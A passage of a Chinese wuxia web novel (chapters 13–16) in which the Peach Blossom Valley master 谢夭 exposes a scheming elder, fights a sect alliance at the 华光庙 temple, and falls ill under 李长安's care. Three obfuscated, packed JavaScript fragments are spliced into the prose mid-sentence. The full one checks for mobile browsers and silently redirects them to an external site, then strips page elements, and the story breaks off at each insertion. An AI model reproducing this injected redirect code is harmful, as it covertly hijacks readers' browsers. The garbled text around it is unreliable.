褚裕心道果然是困糊涂了,现在都开始自己咒自己了。芳落心道那还是别死了,不然新谷主上位第一个倒霉的是自己,到时真只能在桃夭殿吊死了。 她恳切道:“谷主出门在外,一定要保护好自己。尤其在望城,一定要跟归云山庄打好关系,不对,也别太好,太好了容易被发现。” 褚裕道:“晚了。已经好过头了。” 芳落道:“怎么?” 褚裕竖起一根手指,道:“这么说吧,望城门前,一剑曾当百万师。” 谢夭很受用地眯了下眼睛,伸出一根手指弹了褚裕脑袋一下,笑道:“对我好点应该的,怎么,你不乐意?” 两人没听出来哪应该,那边谢夭已经准备出门了,看那架势,好像是真打算回客栈睡觉。 芳落又喊道:“江问鹤让你找时间回谷,他要给你把脉。” 谢夭摆摆手:“知道了。我好着呢。” 芳落道:“他说,你不回去,他就打算千里走单骑了。” 谢夭笑了:“那我提头等着他。” — 极长老从落花堂里走出来时,神魂巨震。别人可能听不明白,他却听明白了,谢夭句句,皆是试探。问他桃花仙名声,是问他是否知道最近沸沸扬扬的望城山一事,问他天气,是试探他是否从桃花谷而来,至于最后那句,那是纯纯的敲打了。 不过幸好这些问题他都糊弄了过去,谢夭应当是信了。即便如此,颍州依旧不能多待,要把驻扎在颍州望城的人撤回来了。至于借归云山庄的手杀桃花仙一事,还是要从长计议。 他没回桃花谷,反而隐匿了行踪,往华光庙而去。 望城华光庙正是极长老暗中设的据点,为了松云剑一事他筹谋许久,甚至不惜自己亲自来到望城。极长老进了庙,就火急火燎道:“人都撤掉,东西全都烧了,尤其是那些玩意儿,都给我弄死,一个也别留。” 有人道:“长老,已经烧过了呀。” 极长老想伸腿踹那人一脚,没成想踹了个空,恶狠狠骂了一声,刚刚站稳,却听见有人哼歌的声音。 躲在暗处的众人个个屏息凝神,都听着那人的脚步声。 那人心情似是极好,一边哼着曲调一边踱步进入华光庙,手里素白折扇开开合合,他抬头望向那尊菩萨神像,微笑道:“华光庙,好地方。” 手中折扇咔嚓一合,他道:“极长老,要我寻你么?” 来人,正是谢夭。 13. 华光庙(三) 在谢夭弯腰笑问极长老桃花谷天气可好时,李长安已经带队出了望城,前往富安客栈。富安客栈的破旧危楼还杵在那,门口的大集依旧,看来这几日,官府也没重修富安客栈的打算,自然也不会有人知道,这里面还藏着一个少女的尸体。 李长安带队进入客栈,跟在他身侧的关子轩道:“长安师兄来过这?” 李长安道:“来望城的时候听说这客栈的传说,来这看了一眼。” 关子轩道:“有何传说?” 李长安淡淡看他一眼,认真道:“听说有鬼。” 关子轩吓得左右看了一圈,道:“这大白天的怎么可能有鬼,不过鬼神之说还是不得不信,冲撞了各位还请见谅我们这就退出去……”说到一半,看见李长安憋不住笑了。 关子轩:“……” 李长安看了看地上,又绕到那女人的尸体旁边,仔细瞧着那锁链,伸手抹了一点灰尘,在指尖捻了两下,道:“没有鬼,只有人作怪。” 正在李长安暗暗思索之际,宋川和宋溪两个孩子从外面跑进来,一边跑一边道:“长安师兄,我们来找你了!” 李长安回头道:“你们怎么来了?” 宋溪笑嘻嘻地:“我们说望城里面太无聊啦,庄主就要我们出来跟着你。” 宋川宋溪是宋明赫从外面捡回来的两个孤儿,宋明赫遇见宋川宋溪时,俩孩子就晕倒在血泊里,周遭就是大人尸体。看装束,像是两帮山匪。两帮山匪火拼,最后只剩两个孩子活了下来。 宋明赫便把两人带回了归云山庄,收为归云山庄第一百三十七代弟子。 宋川乖乖给李长安和关子轩行礼,道:“长安师兄,关师兄。” 宋溪则讶异地看着李长安的手指,道:“这是什么?” 李长安低头看了一眼,把手上的灰尘捻掉:“香灰。” 这里遍地都是烧完留下的灰烬,灰的白的铺成一片。但是不同东西烧完剩下的灰触感不同,木材被烧得不是那么干净,灰里参杂着碎屑,摸起来便扎手,但是从旁边锁链上抹下来的这点灰,摸起来格外顺滑,只有香灰。 李长安不动声色地挡在两个孩子面前,防止他们看见身后那具尸体,道:“既然来了,就听师兄的话,我说让去哪就去哪,听见没?” 宋川宋溪点点头。 李长安道:“那就在外面等我,去吧。” 宋溪撇了撇嘴,道:“长安师兄,你回来之后我还没跟你说过话,我有好多问题想要问你。” 宋溪很喜欢李长安,因为她觉得长安师兄是归云山庄里长得最好看的。 李长安笑道:“你想问什么?” 宋溪道:“问你带回来的那个朋友。” 李长安躲过宋溪眨巴着的眼睛,咳嗽一声,道:“不是,不熟。” 关子轩道:“师兄们在这有要紧事,有什么事回头再问长安师兄,好不好?”说着,把两人哄走了。 回来之后,忍着笑看了眼李长安,似乎是想说什么,但又想起李长安是著名的脸皮薄,又把嘴闭上了。 李长安摆了摆手,开口道:“这里有庙吗?” 关子轩立刻道:“有!城西有一座城隍庙,东边还有一座华光庙。” 李长安道:“哪里近?” 关子轩道:“城隍庙更近。” 李长安点点头:“先去那。” 城隍庙周围枯死的杂草又重新长了出来,冒出了一个青青的草头。庙还是破,庙顶都漏下来天光,庙里面连神像都不剩了,只剩下一底座。几个乞丐常年盘踞在庙里,满地都是他们的破烂铺盖。 这鬼地方,香火一点没有,估计只有鬼火。更别提去哪沾染什么香灰了。 李长安站在庙门前,没走进去。庙里几个乞丐斜眼看了下外面这些衣冠楚楚的青年弟子,也没出来要钱,继续若无其事地或坐或躺地闲聊。 看来这里不可能是桃花谷人据点了,乞丐的地方不是那么轻易能占了。就算用武力强行占了,以乞丐的规模,这事也会立刻传遍全城。 当然,也可能是他们来晚了。 李长安转身要走,打算去华光庙,却听见庙里面乞丐的说话声:“那天那个富贵公子哥没来过了?还想讹他一笔,这种人就是白送上门的。” 想了想,他又赞叹道:“就他身上那身黄色衣裳,我去问了,最起码得这个数。别说,长得也挺标志。” 长得标致,鹅黄衣裳……李长安隐隐觉得不对,一股不安从心头涌起,他停下脚步,又转返回去,问那乞丐:“什么公子?长什么样子?哪一天?” 不仅问题多,语速也快,加上他那张冷淡地能杀人的脸,几乎算是逼问了。归云山庄一行人站在他身后,宋溪悄悄道:“你觉不觉得,长安师兄,有点奇怪?” 李长安很少把脾气摆在明面上,无论什么都是一张脸一个表情,这么急躁倒是第一次见。而且除了生气,似乎还有一点……难以置信? 与其说是难以置信,不如说就好像是,李长安不愿意相信。 乞丐被他吓了一下,连忙道:“我胡说的,我没想讹他。那天王叔还让他在这睡了一晚。他个子特别高,跟你差不多,外衫是黄色的,那料子一看就特别贵,长得还挺标致,不对,长这么大没见过那么漂亮的男人。” 李长安几乎确定那人就是谢夭了,他握着剑的手背青筋都爆出来,压着脾气沉声道:“哪一天?” 乞丐慌里慌张地想:“三天!不对,四天前!” 毫无疑问,此人就是谢夭无疑。这里距离他们当晚所住客栈极远,他就算不舒服,也应该去什么药铺医馆,深更半夜跑到这里,到一个庙里? 李长安又道:“他一个人么?” “我、我、”那乞丐明显被吓到了,往里张望着,似乎是想找人救他。最后,坐在里面的一个老乞丐说话了,那人就是年轻乞丐口里的王叔。只听他用苍老的声音道:“一个人。” 一个人,深更半夜,独自外出,就连褚裕都没带上。到一间破庙。偏偏是庙,偏偏松云剑身上,山上抓到的桃花谷人的身上,还有富安客栈的地上,都有香灰。 李长安几乎想不出来除了暗中接头其他的理由了。就算松云剑之事不是他谋划,他半夜来这也必定有什么不可告人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢夭把扇子一收,道:“万里无云,怎么可能有湿土呢?就算沾上了,这一路上奔波,早该掉了。” “除非,你就是从望城来的。” “富安客栈是你的,你早在一年之前就在富安客栈养死士,为的就是杀松云剑。松云剑也不是在山上死的,他是在富安客栈死的,一群死士围攻,他才惨死。”谢夭道,“接着你一把火烧了富安客栈,把人全迁到了华光庙,唱下半场戏,这下半场戏,就是算计我。” 极长老道:“谷主果然聪明。那谷主要杀了我么?” 谢夭摆摆手道:“我不说过了吗?这桃花谷谷主的位置是你的——” 话音未落,华光庙外忽然传来大批脚步声,光听声音,来人就有数百。 这种时候什么人才能凑齐几百号人来着华光庙?谢夭话音戛然而止,这么多人,除非是望城山上那群人下来了! 就在这时,他听见李长安道:“把庙围了,其他人进去搜!” 谢夭心道,好巧不巧,刚好撞上! 14. 华光庙(四) 外面脚步声越来越近也越来越多,他们此时藏身在华光庙神像背后的角落,神像的巨大阴影投下,一群人被罩在影子里。极长老看见谢夭无奈地轻叹了一口气,立刻意识到,他这是歪打正着了! 后半场戏本来就是要戳穿谢夭身份,如今他头戴桃花簪出现在这华光庙之中,被直接抓了个现行,不比他派几个人送死再说出谢夭身份来得更直接? 极长老兴奋笑道:“谷主,聪明反被聪明误。我就是卖你了怎么样?我就是算计你了怎么样?最后这一场,是你自己撞上来的。” 谢夭略微嫌弃看他一眼,却道:“确实,是我失算。” 李长安来得过于快了,看了比起之前,聪明了不少。不愧是他亲手教出来的徒弟。谢夭想到这,勾起唇角笑了一下。 褚裕心下一横,直接拔出短刀走向极长老,恶狠狠道:“谷主,先把人杀了再说。”说完又冲着瞪了一眼极长老,道:“我现在就弄死你。” 谢夭揉了揉太阳穴,叹口气,忙把人拉住,道:“哎,别整天打打杀杀的,先把人留着。” “留着?!”褚裕讶异问,不可思议回头道,“他都这样算计你了怎么还要留着?” 谢夭嘶一声,心道褚裕这个性子又急又倔,满脑子“杀了再说”,看来种树也不管用了,就应该把褚裕扔到荒山野岭的破寺里清修。他好似彻底不想管了,就这么静静地看着褚裕,仿佛在说“你接着说吧,我看看你还想说什么”。 褚裕:“……” 眼见这边两人内讧,此时不走更待何时?极长老听着外面的动静,归云山庄的人快要搜到这里了,他冷笑一声,道:“先走。”说罢,甩了一阵迷烟,褚裕正要去追,谢夭道:“让他们走。” 褚裕道:“下次再抓就不一定猴年马月了!” 谢夭笑了:“你以为芳落和恶长老吃干饭的?” 褚裕一愣,回头道:“谷主是说,外面有芳落姑姑守着?” 谢夭点点头。 芳落和恶长老一直带人在暗中盯着,见极长老进了华光庙,立刻给谢夭传了信,之后就一直守在华光庙外。 极长老此时从挖好的华光庙密道跑出去,就算躲过了前门归云山庄的包围,也会正正好撞进芳落的包围圈。 褚裕道:“那为什么不直接杀了?” “我说过,桃花谷谷主的位置,是他的。”谢夭一笑,道,“人家现在还没坐上谷主之位呢,怎么能死了?”说着,他又伸出一根手指弹了下褚裕的后脑勺,道:“听着,做人不能言而无信。” 褚裕不知道跟一个死人讲什么诚信,再者说,当真把谷主的位置让给那个长得丑的长老?后脑勺吃痛,褚裕下意识捂住,心道谢夭怎么这个时候还教育人,又听见外面有人道“里面,查仔细点”,褚裕急道:“谷主,现在怎么办?” “你先走。”谢夭说着,透过神像,看了一眼外面。庙内已经被挤了个水泄不通,全是穿着各家门派弟子服的青年子弟。 确实有点麻烦,这次比不得上次,上次是在望城,还可以糊弄说是替门口小弟子看门,结果被桃花仙一掌劈进了柴房内。这次是在望城外,况且还是在自己说了养伤的情况下。这种情况下出现在这种地方,真就死活也圆不回去了。 不过……也不失为一个机会。 谢夭好像突然想到了什么,露出一个笑。 褚裕道:“谷主,你怎么办?” 谢夭转身,一抖衣袖往外走去,道:“自然是让他们,见一见桃花仙。” — 华光庙是官府出钱所建,本来想建成颍州第一大庙,足足占了十亩良田,建筑有三层楼那么高,中间矗立着近十米高的菩萨神像。金银细粉散布在房梁墙壁之中,二层露台之上绘着漫天神佛,雕梁画栋,无不精美。 这华光庙本来也有一段香火鼎盛的阶段,但后来百姓更多往西迁居,这地方又实在偏远,再加上好像求神也不太灵,慢慢没落下去,香火仍有,但也远远没有之前那么旺盛了。 正因为少了点人气,所以华光庙内显得有些阴沉破败,二楼那些神佛画像也在此时显得有些吓人了。 李长安站在那尊菩萨像前,抬头望向菩萨慈眉善目的脸。 关子轩道:“他们当真会藏身此处么?” 李长安仍是定定地看着那神像,淡淡道:“如果没有,那就是我们来晚了。” 一句话说得自信至极,明明应该让人觉得狂妄,但从李长安的嘴里说出来,只让人觉得信服。十九岁的人,年纪轻轻负有剑仙之名,狂一点也是应该的。 关子轩道:“那桃花仙会在这么?” 李长安眉头轻微皱了一下。 他也不知道桃花仙会不会在,他总觉得桃花仙不会有那么蠢,蠢到他都已经到了华光庙,桃花仙还没来得及跑。如果谢白衣真是落败于这种人,那他更要觉得谢白衣不靠谱了。 如果桃花仙出现在这……那么只有一种可能了,桃花仙是故意留在这的。 就在这时,有人大喊道:“这里!这里有好多桃花瓣!” 桃花仙果然没走! 李长安闭了一下眼睛,那个瞬间心情难以言喻,就好像多年追寻终于到了终点,但是到了这个瞬间,即将要揭晓真相这一刻,他又有些不敢,就好像是…… 完成这件事之后,他和谢白衣的联系就彻底断了。 听到发现桃花瓣那一刻,所有人群情激愤,誓要杀了桃花仙,一窝蜂地涌上去,又有人指着一个方向,道:“那里有人要跑!” 只见一个人影匆匆闪过角落,宋明赫立刻道:“别让他跑了,一个人都不能放过!” 他们没见过桃花仙,放走的任何一个,说不定就是桃花仙! “长安师兄,师伯,那上面好像有人!”宋川指着二楼露台,大喊道。 与此同时,所有人感到一股刺骨的寒意,仿佛就是来自二层露台之上的那人,百十号人齐齐钉住了步子,却没有一个人敢回头。李长安眼神一沉,骤然拔剑,青云剑出,回头看去。 只见那二楼露台之上站着一人,就站在那慈眉善目的菩萨脸边,脸上表情似乎带着淡淡的笑,黑发和衣摆一起飘扬,站在菩萨雕像和漫天神佛之间,漂亮得像是从天上下来的神仙。 那人脸上带着桃花面具,后脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢白衣几乎承载了归云山庄所有荣耀,所以他的死让人那么无法接受,人们无法接受天之骄子陨落,更无法接受陨落过后的留下的一地鸡毛。 一番话说得人群情激愤,个个都咬紧牙关,眸光闪动。谢夭苦笑一下,看着下面众人的眼神,一时不知该作何感想,这时,他对上李长安视线。 李长安以为那是个错觉。他觉得他好像看见那双面具之下的冰冷眼神松动一下,变成了一种难以描述的……自嘲。 然而下一瞬,就看见二楼露台之上那人眼神再次冰冷,他翻转手掌,内力冲向对面墙壁,这次又是四个大字。 ——悉听尊便。 四个大字一出,全场屏息。 狂。只有一个狂能形容桃花仙了。 何罪之有是诘问,悉听尊便就是完全的蔑视了。 好一个何罪之有,好一个悉听尊便! “好,好!”宋明赫压制着怒气点头,转身道:“归云山庄弟子听令,斩杀桃花仙!” “是!” 15. 华光庙(五) 归云山庄之外,这中间还有忠义堂、极上寺、金蚕宗等人,只见宋明赫对他们深深作了一揖,一群人道:“铲除桃花谷毒瘤,我辈之责!”除了这些名门正派,还有诸多江湖游侠。 可以说,全天下有名有姓的英雄此时齐齐聚于这个小小的华光庙内,只为了一个桃花仙。 数百号人喊打喊杀使用轻功扑将上来,谢夭独自站在二楼,仿佛与天下为敌。 何罪之有四个大字依旧透着天光,照到对面的“悉听尊便”上。求子求福的华光庙如今充满厮杀声,他们冲着桃花仙拔剑,也冲着闭目的菩萨拔剑。 熹微天光照下,菩萨闭着的右眼似乎湿了,挂着一滴晶莹剔透的水珠。 谢夭闭了一下眼睛,几不可闻地轻声叹了一口气,袖子里,那柄许久未出过鞘的桃花枝微微震颤,似乎下一秒就要自行钻出袖子。他猛然睁开眼睛,桃花枝自袖中溜出,谢夭稳稳接住,接着反手一劈,剑气惊天动地。 他已经许久没用过剑了,这是他平定桃花谷,从底层一步杀上桃花谷谷主之后,七年来第一次拔剑。 剑气如潮水,只此一剑,妄图使用轻功飞跃至二层露台的人都败下阵来,捂着胸口半跪在地,剑插在地上堪堪稳住身形。谢夭仍在二层高台之上,斜斜往下看了一眼。 只那一剑,胜负就已经分了。 一群人心道桃花仙实力竟强劲至此,怪不得能坐稳桃花谷谷主之位,又怪不得能瞬间杀了刘寒松,全天下就没有能杀了桃花仙的人了么?还是说,必须要那死了的谢白衣活过来?谢白衣倒是有个徒弟,再过几年,能赶上谢白衣么? 不过这都是后话了,如今更为关键的是,如果他今日在此大开杀戒了怎么办?他们拦得住么? 一群人正惴惴不安地等着,忠义堂“震山虎”熊子昂率先站起来,吼道:“再来!”却见高台上那人不知何时收了剑,用内劲震开了墙壁,从后墙施施然而去了。 出了华光庙,刚一落地,谢夭就扶着旁边树呕了一口血。 谢夭模糊笑一声,心道不争气啊不争气啊。关键是还差点没控制住内息,神智不清醒地说拔剑就拔剑,说冷脸就冷脸,要是把这华光庙周围花草树木全都嚯嚯完了,那就真成千古大罪人了。 谢夭随手用袖子把嘴边的血擦了,嘶了一声,又晃了晃脑袋,眼睛又有点看不清了,他只能扶着墙踉踉跄跄地往回走。 如今这五脏六腑如同生煎之时,他倒有点怀念李长安在他体内下的那一缕青云剑意了。 似乎那缕剑意在他体内安分下来之时,会好受一点。 不过现在不是想这些的时候。如果不出差错,极长老已经被芳落生擒,褚裕也应该先跟芳落走了。 现在就剩他了。他必须要尽快赶回客栈。 一是保不齐华光庙里的人就会出来追赶,二是如果此时有人回了客栈,发现自己不在,也是个大麻烦。 — 华光庙内。 八个大字仍刻在半塌不塌的墙上。天光透过墙壁裂隙撒下,照在漫天神佛画像和菩萨闭着眼睛的脸上。 百十号人就地坐在华光庙内中休息,都是心有余悸。 宋明赫看向刚才桃花仙站立的高台,如今那里已经空空如也,只有几片桃花瓣在那里盘旋,他缓缓道:“原来桃花仙是用剑的。” 实话说,江湖上对于武器没有一个三六九等,用刀、用弓箭、用匕首、用暗器、乃至用毒,只要武功足够高,就能受到尊重。但剑,却是凌驾于众多武器之上,若问年轻少侠初入江湖之时最想拿起的家伙什,那必然是剑。 个中缘由不得而知,兴许是流传下来的诸多关于剑的诗篇,也可能是历来天下第一都是用剑。 像桃花仙这样的魔教人士,又一直不曾露出过武器,本以为他该用些更为邪性的东西,比如锁链、伞、钉子,没想到用的还是君子剑。 如果他那根破桃花枝可以称为剑的话。 李长安扫视庙内庙外众人,发现谢夭不在。他又害怕自己看花了眼,三两步走到怀竹月和宋明赫跟前,道:“师伯出来之前,把所有人都调来了么?” 宋明赫道:“自然。” 李长安低头思索。谢夭不是他们归云山庄弟子,又不会武功,再加上他早上哼哼唧唧地说要养伤,没出现在这里也正常。但是如今整个望城已经空了,如果桃花仙此时杀进望城…… 那半残估计还在床上睡觉呢! 李长安抓起剑就要走。怀竹月叫住他:“等会儿,你没受伤?” 李长安脚步一顿,五脏六腑感知了一遍,道:“没有。” 他确实没受伤。明明是桃花仙无差别使出的剑气,但到了他身边,却仿佛轻轻飘飘打了个旋,就地飘散了。 怀竹月抓着他要给他把脉:“怎么可能?!” “我不知道。”李长安想了半天没想出来,忙道:“小师姑回头再给我把脉,我有要紧事!” 怀竹月在他身后喊:“什么要紧事?” 李长安头也不回道:“找人!” 李长安一路马不停蹄地回望城,又紧赶慢赶地回望城山脚下的那家被归云山庄包下来的客栈,进了院子,发现院中没有异样后,微微松了一口气。 有人招呼他道:“少庄主。” 李长安一边往楼上谢夭房间跑一边问:“有人来过么?” 那人一阵奇怪,少庄主问这个干什么?何止没有人来过,也没见过人出过。他老老实实答道:“没有。” 李长安点头,推开了谢夭的房门。 话还未说出口,他就看见谢夭一人坐在床边,浑身裹着毯子,头发散乱地披着,脸上几乎没有血色,浑身灰扑扑的。 ……似乎还一直在发抖。 李长安刚松下去的一口气又提上来。 谢夭感觉到有人推开了自己房门,他略微偏一下头,几乎都没思考,立刻道:“出去!” 那人迟迟没有动静,谢夭歪着头又听了一阵,疑惑道:“……长安?”这一句声音极小,像是猛然放松下来就没力气再说话了,说完又意识到自己失言,干咳一声,道:“李少侠。” 谢夭摸索着站起来,走到门边,坦然道:“李少侠见笑,身体抱恙,有什么事明天再说吧。”说完就要关上门。 李长安伸手卡住门边,谢夭这时候看不太清楚,以为是什么东西卡住了门,努力试了两下,没关上,才意识到是李长安。 谢夭:“……” 谢夭心道要不是现在浑身难受,必定把这门给卸了,又在心底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711084|144555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想这小子什么时候力气这么大了?明明小时候连青云都拿不起来。 这样想着,他却抬头不好意思冲李长安一笑,道:“李少侠,这是……” 话音未落,只见李长安在他面前伸出两根手指头,明晃晃地摆了个二。 “我看得见。”谢夭没好气道。 李长安:“……” “把你那两根手指头收了。”谢夭说着,转身进屋,一句话还没说完,就被门槛绊了一下。 李长安:“……” “看不见就说看不见,装什么?”李长安伸手扶住他,谢夭这个样子,没病死也自己把自己折腾死了。 谢夭一手伏着门框,一手扶着他胳膊,笑道:“李长安,不像你啊。这次打算要我多少文?” 李长安哽了一下,假公济私道:“我乃归云山庄弟子,悬壶济世救死扶伤是归云山庄门规,这次不收你钱。” “得了吧,”谢夭听乐了,笑了两声,笑完又觉得有点上不来气,喘息着道,“悬壶济世救死扶伤那是神医堂的门规。你什么时候背叛的师门?” “刚背叛的,别跟我师伯说。”李长安扶着他胳膊。 谢夭又勾起唇角想笑,想到笑完之后的喘不上气,又生生忍住了。 李长安本来扶着胳膊,隔着袖子还没感觉,偶然碰到手腕的时候,发现他体温高的吓人,烫得他几乎下意识要把手撤回来,他道:“你……用吃药吗?” “根里的东西,吃药没用,睡一觉就好了。”谢夭道,“每隔一段时间都得来一下,之前不知道是什么,现在知道了,估计就是那个和尚说的什么……经脉混乱。” 谢夭闭上眼睛调息了两个来回,发现李长安这小子还没走,一时间起了逗他的心思,道:“你上次说我容易死,这么看来确实容易死。就是,谁教你这么说的?” 他本就是随口这么一问,也没打算听见什么正经回答,只是想挤兑一下他。毕竟脱口而出的一句话还能有什么渊源么? 却没想到李长安沉默了好一阵。 他看向外面的天光,不知道在想些什么,缓缓道:“我小时候养花草,总是养不活。” 谢夭听完想笑,心道何止是养不活,简直是天生神煞,天生跟草木之神犯冲,看见东西死了又红着眼眶一直蹲在盆边不肯走。 “后来有个人跟我说,不是我养不活,”李长安道,“是它们太娇弱了,不好养。” 听完,谢夭心尖像被掐了一下。一点久远的,模模糊糊的,仿佛上辈子的记忆回笼。 谢夭自己说过的话,自己不记得。却有人替他记着。 那时小长安蹲在一盆半死不活的兰花旁边,定定地盯着兰花蔫了的叶子,身后忽然来了一阵脚步声,谢白衣弯下腰,笑着道:“还养着呢?” 小长安道:“我一定能养活的。” “不是你养不活,是它们太容易死了。”谢白衣哄儿子似的,道,“浇点水,明天再过来看。” 趁小长安走了,谢白衣把青云悄悄插进土里,青云抗议但无效,他又注了一丝内力,第二天天不亮就爬起来,偷东西似的把青云拔出来。 “说也奇怪,”李长安笑着道,“他说完那句话第二天,兰花就开花了。那是我养活的第一盆花。” 16. 济世堂(一) 华光庙之后,望城依旧看守严密,就算抓不到桃花仙,也要抓到桃花仙的那些党羽。而谢夭华光庙一战消耗了太多精力,他本来以为睡一觉就能好,实际上休整了两三天。 这两三天里谢夭也没闲着,望城松云剑之死,总要有个了结。他也不出面,大门不出二门不迈,只写了三封信。 这第一封,给了芳落。第二封,则是写给极长老。都让褚裕悄悄送了出去。 至于这第三封…… 这天傍晚,谢夭拎了纸和笔,慢慢磨这第三封书信。这封书信是写给江问鹤的,一来他害怕江问鹤真的千里走单骑过来取他的头,二来解决桃花仙的事,需要他帮一点小忙。 但他又想了想,似乎这次出门之前刚偷喝了他酿的酒,这样一封书信回去恐怕罪加一等。他玩玩笔又研研墨,愣是没下笔写一个字。想来也是窝囊,堂堂桃花谷谷主,怕一个大夫。 想了想,还是下笔。刚写了没两个字,李长安恰好带人回来,进了院子。 李长安见谢夭坐在院外,心道这位病秧子怎么出来了?那天之后一直大门不出二门不迈,但凡让他干点活就不置可否地“啊”一声,再不好意思地补一句抱歉,道一声“听不见”。 想着,他直接走过去,想要抓个现行。 李长安脚步放得很轻,再加上会轻功,要是他存心不让谁发现,全天下没几个人能发现他动静,更何况谢夭这种半残。 谢夭也确实没发现,却在李长安附身下来的那一刻,盖住了手下的信纸,抬头,似乎是看不见,茫然地找了一会儿,才道:“……李少侠?” 李长安看他眼神,道:“书信都能写了,别装了。” “没装,”谢夭也不装了,一笑,“能看见,看不清。” 这话是真的,在他犯病的时候,眼前的东西只能模模糊糊有个大概的轮廓,认人可以,至于其他东西就不太行了。 “写的什么?”李长安道。 谢夭想了想,道:“家书。” 家书这玩意他几百年没写过了,而且写给江问鹤的那叫个屁的家书,分明是请罪,但李长安在这,他不好说出口,只能随便找个托词,至于要写的正经事,更不可能现在写了。 于是他拿起笔有一笔没一笔地写下去。 李长安坐在他对面,谢夭胳膊又挡着信纸,他看不清楚谢夭究竟写了些什么,只觉得他字很瘦,写得很潇洒,让李长安想起他临过的谢白衣的帖。 此时初秋,傍晚风高气爽。太阳还没彻底落下去,庭院里已经点上了灯。 谢夭写到一半,头也没抬地问:“松云剑那个情人,找到了么?” “你不在写家书么?”李长安道,“情人这事需要跟令尊禀报一下?” 谢夭歉歉然地笑:“好奇、好奇。” 李长安道:“已经死了,富安客栈里那名女子的尸体就是。我们找到那女子家里的时候,发现她家还有个十岁大的男孩。” 谢夭道:“女人她儿子?” 李长安却摇了摇头,道:“不是,是松云剑的儿子,但不是那女人生的。这孩子是松云剑上一个女人留下来的,已经死了,现在那女人养着。那孩子也不跟刘寒松的姓,跟死了的亲娘姓。” 谢夭:“什么?” 李长安:“姓王。” 姓王。 谢夭心道果然,一切迎刃而解。极长老,也正是姓王。 芳落审极长老审了半宿,极长老提起松云剑就咬牙切齿,像是恨极了松云剑。为什么极长老非要杀松云剑?肯定不只是松云剑跟谢白衣那点关联,必定有什么私怨。 如果松云剑养了个姓王的私生子,这私怨便分明了。极长老的妹妹为松云剑生下一子,却惨遭抛弃,之后为情自杀。极长老为了报仇,在富安客栈绑了松云剑的情人,引松云剑前来,在那合力把松云剑杀了,又抛尸望城山。 之后又散出去了桃花仙杀松云剑的传闻,引得名门正派齐齐赶来望城,自己这个真的桃花仙也来一探究竟。 李长安见谢夭笑,直觉他没憋什么好水,道:“你笑什么?” “你说松云剑怎么这么多情债,”谢夭说完,又语重心长道,“李少侠,你可不能学他。姑娘那是要明媒正娶的,是要给师父师门看名帖的……” 想当初谢夭也曾想过李长安成亲,李长安无父无母,成亲诸事自然只能他这个师父来管——尽管他自己也没结过。只是世事无常,还没等到李长安长大,他就先一步堕入了桃花谷。 李长安平时牙尖嘴利,但一到娶妻生子这种人生大事的话题,也不知道是触动了哪根神经,又想起了什么,总是憋半天也不知道说什么好。 他红着耳朵闷了半晌,憋出来一句:“经常挑逗小姑娘的是你吧。” 谢夭嘴角一勾,心道不经逗。又站起来道:“李少侠刚刚说什么?又听不太清了。” 李长安:“……” 李长安心道又开始了,他刚想伸手把人捉回来,就见旁边经过了几个小弟子,宋川宋溪也在其中,挤眉弄眼地看向这边。 他这要是把人抓回来,过几天不一定那群小弟子又要怎么编排他了。他又收回手,这时看见谢夭写的家书还摊在桌子上没收走,他顺手就拿了过来。 只见上面洋洋洒洒写着几个大字—— “你儿子在我手里,赎金三百两!” 李长安:“……” 这是什么玩意儿! — 谢夭一路忍笑回了房间,还没来得及弯腰大笑,就意识到房间里不对劲。 褚裕这个时间点去给芳落送信去了,还没回来,按理说房间内应该空空如也,可桌上的杯子里,晾着一杯茶。 偷偷进屋就算了,还大大咧咧地坐下喝茶? 谢夭也不戳穿,而是坐在桌边,又给自己倒了一杯茶,慢慢喝了几口,仿佛跟暗中那人较劲似的。半晌,憋不住似的笑了一声:“行了,出来吧。等我去请你?” 房间里面这才晃出来一个人,来人一身青色衣衫,腰间挂着玉佩,头发挽得规规矩矩,一派世家公子的模样,跟日常没个正形的谢夭形成鲜明对比。 来人正是隐居在桃花谷数十年的神医——江问鹤。 没想到,江问鹤还真的千里走单骑来了望城。 江问鹤也不说话,就看着他,眼神有一丝的恨铁不成钢。 谢夭嬉皮笑脸道:“来给我把脉?” 江问鹤终于说话了:“来取你项上人头,顺便给我藏了九年的桃花酒报仇。” 谢夭笑了:“把脉就把脉,取什么首级,打打杀杀的不好。” “哦,谢大谷主亲口说提头等着我,现在不认了。”江问鹤白了他一眼,道,“早知道当初就别说啊。” “江大神医,现在我可打不过你。”谢夭笑道。 江问鹤深吸一口气才忍住自己骂人的冲动,保住自己翩翩君子的风度,他一屁股在谢夭旁边的凳子坐下,道:“你也知道!你就不能对自己好点么?我早就断过,你那重伤治不好,不动用内力还能保个下半生平安。说说吧,又做什么了?” 他说着,谢夭已经摊开了手腕,江问鹤搭上他脉搏。 谢夭道:“也没干什么,就是退了几个小弟子的剑。” “到底几个?”江问鹤斜斜睨一眼他。 谢夭偏过头,摸了摸鼻尖,尴尬道:“也就……差不多百个?” 江问鹤:“……” 江问鹤想甩手不干了,他行医多年,手下救过的人无数,还没见过这么不听话的病人。但他自负神医,在行医这方面天下第一的程度堪比谢白衣,还没人从他手底下死了。 江问鹤又沉下心又感受谢夭脉搏。 